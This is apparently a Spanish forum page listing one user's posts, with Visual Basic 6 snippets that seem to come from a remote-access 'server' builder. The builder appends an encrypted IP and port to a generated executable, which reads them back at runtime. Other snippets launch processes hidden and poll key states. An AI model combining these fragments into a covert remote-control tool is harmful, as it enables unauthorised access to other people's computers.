1º
2º ¿Declaraste la librería en Referencias?
Saludos.
Citarglow=red,2,300¿Qué es eso?
2º ¿Declaraste la librería en Referencias?
Saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarglow=red,2,300¿Qué es eso?
Private Sub cmdCrearServidor_Click()
Dim TamañoIP As String, TamañoPuerto As String, TamañoFirma As String, TamañoTotal As String
Dim DatosEncriptados As String
If txtPuerto.Text > 65535 Then
MsgBox "El puerto debe ser inferior a 65535"
Exit Sub
End If
cd.Filter = "Archivos ejecutables|*.exe"
cd.DialogTitle = "Generar servidor..."
cd.ShowSave
Ruta = cd.FileName
Call CargarRes(102, cd.FileName)
DireccionIP = txtIP.Text
Puerto = txtPuerto.Text
Firma = "Editado"
DatosEncriptados = Trim$(Puerto) & "|" & Trim$(DireccionIP) & "|" & Trim$(Firma) & "|"
DatosEncriptados = cifrar(DatosEncriptados)
TamañoIP = Len(DireccionIP): TamañoPuerto = Len(Puerto): TamañoFirma = Len(Firma)
TamañoTotal = TamañoIP + TamañoPuerto + TamañoFirma
Open Ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , DatosEncriptados & Trim(Str(TamañoTotal))
Close #1
End Sub
Public Function LeerDatos()
Dim DatosLeer As String
Dim DatosSeparados As Variant
Dim DatosDesencriptados As String
Dim nd, nd1 As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2
DatosLeer = Input(LOF(2), #2)
Close #2
MsgBox DatosLeer
nd = Right(DatosLeer, 2)
MsgBox nd
nd1 = Right(DatosLeer, Val(nd) + 5)
MsgBox nd1
DatosDesencriptados = descifrar(nd1)
DatosSeparados = Split(DatosDesencriptados, "|")
DireccionIP = DatosSeparados(0)
Puerto = Val(DatosSeparados(1))
End Function
Option Explicit
Private Declare Function CreateProcess Lib "Kernel32" Alias _
"CreateProcessA" ( _
ByVal lpAppName As Long, _
ByVal lpCmdLine As String, _
ByVal lpProcAttr As Long, _
ByVal lpThreadAttr As Long, _
ByVal lpInheritedHandle As Long, _
ByVal lpCreationFlags As Long, _
ByVal lpEnv As Long, _
ByVal lpCurDir As Long, _
lpStartupInfo As STARTUPINFO, _
lpProcessInfo As PROCESS_INFORMATION _
) As Long
Private Declare Function WaitForSingleObject Lib "Kernel32" ( _
ByVal hHandle As Long, _
ByVal dwMilliseconds As Long _
) As Long
Private Declare Function CloseHandle Lib "Kernel32" ( _
ByVal hObject As Long _
) As Long
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Integer
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Public Function ShellWait(CmdLine As String, Optional ByVal _
bShowApp As Boolean = False) As Boolean
Dim uProc As PROCESS_INFORMATION
Dim uStart As STARTUPINFO
Dim lRetVal As Long
uStart.cb = Len(uStart)
uStart.wShowWindow = Abs(bShowApp)
uStart.dwFlags = 1
lRetVal = CreateProcess(0&, CmdLine, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, _
uStart, uProc)
lRetVal = WaitForSingleObject(uProc.hProcess, INFINITE)
lRetVal = CloseHandle(uProc.hProcess)
lRetVal = CloseHandle(uProc.hThread)
ShellWait = (lRetVal <> 0)
End Function
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyF2) <> 0 Then
MsgBox "F2"
ElseIf GetAsyncKeyState(vbKeyF3) <> 0 Then
MsgBox "F3"
End If
End Sub